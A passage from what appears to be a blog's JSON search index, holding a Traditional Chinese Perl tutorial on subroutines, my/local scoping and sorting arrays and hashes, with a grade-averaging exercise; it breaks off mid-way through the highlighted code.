\u003ccode\u003e10.4\u003c/code\u003e、\u003ccode\u003e5.6\u003c/code\u003e、\u003ccode\u003e3.1\u003c/code\u003e、\u003ccode\u003e6.4\u003c/code\u003e：\u003c/p\u003e","title":"R 向量與運算"},{"content":"基本自訂副函式 # 基本自訂副函式 # (1) 基本自訂副函式 sub hello { # 自訂函式 print \u0026#34;Hello World.\\n\u0026#34;; } \u0026amp;hello; # 使用自訂函式 # (2) my and local $name = \u0026#34;Joe\u0026#34;; # 全域變數 (Global Variable) sub hello { print \u0026#34;In hello: $name\\n\u0026#34;; } sub hello2 { # 宣告 local 變數，在 hello2 本身及其呼叫的函式使用 local $name = \u0026#34;Bill\u0026#34;; print \u0026#34;In hello2: $name\\n\u0026#34;; print \u0026#34;Call hello from hello2: \u0026#34;; \u0026amp;hello; } sub hello3 { # 宣告 my 變數，只能在 hello3 本身使用 my $name = \u0026#34;Mary\u0026#34;; print \u0026#34;In hello3: $name\\n\u0026#34;; print \u0026#34;Call hello from hello3: \u0026#34;; \u0026amp;hello; } \u0026amp;hello; \u0026amp;hello2; \u0026amp;hello3; # (3) 自訂 max 函式 sub max { # 讀入參數：將 @_ 內的第一個與第二個元素讀入，剩下的捨棄 my($a, $b) = @_; if ($a \u0026gt; $b) { return $a; } else { return $b; } } print \u0026amp;max(1,2); # 2 排序（Sorting） # 排序（Sorting） # (1) @arr = (2,3,1,4); sub sort_by_number { # 排序副函式 if ($a \u0026lt; $b) { return -1; # 代表 $a 排在 $b 之前 } elsif ($a \u0026gt; $b) { return 1; # 代表 $a 排在 $b 之後 }else { return ; } } # 將 \u0026amp; 去掉使用，結果為 (1,2,3,4) @sorted = sort sort_by_number (@arr); @rev = reverse(@sorted); # (4,3,2,1) # (2) @arr = (2,3,1,4); sub sort_by_number2{ # 作用與 sort_by_number 相同 return $a \u0026lt;=\u0026gt; $b; } @sorted = sort sort_by_number2 (@arr); @rev = reverse(@sorted); # (3) @arr = (2,3,1,4); # Inline 方式撰寫排序副函式 @sorted = sort { $a \u0026lt;=\u0026gt; $b } (@arr); @rev = reverse(@sorted); # (4) hash 排序 %hash = ( Joe =\u0026gt; 32, Mary =\u0026gt; 87, Bill =\u0026gt; 98, John =\u0026gt; 67 ); sub by_grade{ return $hash{$a} \u0026lt;=\u0026gt; $hash{$b}; } @name = reverse sort by_grade keys %hash; print $_ . \u0026#34;\\n\u0026#34; for(@name); # 練習 # 1. 假設有一成績資料檔案如下 =pod Joe 98 87 94 67 Mary 97 86 97 76 John 78 67 81 97 Bill 56 78 67 86 Seal 69 79 68 81 God 97 98 98 99 =cut # 總成績計算方式為： # 四次成績中刪去最低分的成績，剩下的三次做平均， # 請寫一個 perl script 來計算，並將輸出成績存入檔案。 # 假設成績檔為 score.txt open INFILE,\u0026#34;score.txt\u0026#34;; open OUTFILE,\u0026#34;\u0026gt;output.txt\u0026#34;; while(\u0026lt;INFILE\u0026gt;){ ($name, @score) = split; @score = reverse sort {$a \u0026lt;=\u0026gt; $b} @score; pop @score; $sum = 0; foreach(@score){ $sum += $_; } $average = $sum / ($#score+1); print OUTFILE \u0026#34;$name\\t$average\\n\u0026#34;; } close OUTFILE; close INFILE; ","permalink":"https://blog.gtwang.org/perl/perl-course-notes-5/","summary":"\u003ch2 id=\"基本自訂副函式\"\u003e基本自訂副函式\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 基本自訂副函式\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (1) 基本自訂副函式\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003esub\u003c/span\u003e \u003cspan class=\"nf\"\u003ehello\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 自訂函式\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Hello World.\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehello\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 使用自訂函式\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (2) my and local\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$name\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Joe\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 全域變數 (Global Variable)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003esub\u003c/span\u003e \u003cspan class=\"nf\"\u003ehello\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;In hello: $name\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003esub\u003c/span\u003e \u003cspan class=\"nf\"\u003ehello2\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e# 宣告 local 變數，在 hello2 本身及其呼叫的函式使用\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003elocal\u003c/span\u003e \u003cspan class=\"nv\"\u003e$name\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Bill\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;In hello2: $name\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Call hello from hello2: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehello\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003esub\u003c/span\u003e \u003cspan class=\"nf\"\u003ehello3\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e# 宣告 my 變數，只能在 hello3 本身使用\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003emy\u003c/span\u003e \u003cspan class=\"nv\"\u003e$name\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Mary\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;In hello3: $name\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Call hello from hello3: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehello\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehello\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehello2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehello3\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (3) 自訂 max 函式\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003esub\u003c/span\u003e \u003cspan class=\"nf\"\u003emax\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e# 讀入參數：將 @_ 內的第一個與第二個元素讀入，剩下的捨棄\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003emy\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$a\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$b\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e@_\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$a\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$b\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nv\"\u003e$a\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nv\"\u003e$b\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e    \u003cspan class=\"c1\"\u003e# 2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"排序sorting\"\u003e排序（Sorting）\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 排序（Sorting）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (1)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@arr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003esub\u003c/span\u003e \u003cspan class=\"nf\"\u003esort_by_number\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# 排序副函式\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$a\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$b\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 代表 $a 排在 $b 之前\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelsif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$a\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$b\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# 代表 $a 排在 $b 之後\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 將 \u0026amp; 去掉使用，結果為 (1,2,3,4)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@sorted\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003esort\u003c/span\u003e \u003cspan class=\"n\"\u003esort_by_number\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e@arr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@rev\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003ereverse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e@sorted\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e    \u003cspan class=\"c1\"\u003e# (4,3,2,1)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (2)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@arr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003esub\u003c/span\u003e \u003cspan class=\"nf\"\u003esort_by_number2\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e    \u003cspan class=\"c1\"\u003e# 作用與 sort_by_number 相同\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nv\"\u003e$a\u003c/span\u003e \u003cspan class=\"sr\"\u003e\u0026lt;=\u0026gt;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$b\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@sorted\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003esort\u003c/span\u003e \u003cspan class=\"n\"\u003esort_by_number2\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e@arr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@rev\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003ereverse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e@sorted\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (3)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@arr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Inline 方式撰寫排序副函式\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@sorted\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003esort\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nv\"\u003e$a\u003c/span\u003e \u003cspan class=\"sr\"\u003e\u0026lt;=\u0026gt;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$b\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e@arr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@rev\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003ereverse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e@sorted\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (4) hash 排序\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e%hash\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eJoe\u003c/span\u003e     \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e      \u003cspan class=\"mi\"\u003e32\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eMary\u003c/span\u003e    \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e      \u003cspan class=\"mi\"\u003e87\u003c/span\u003e\u003cspan 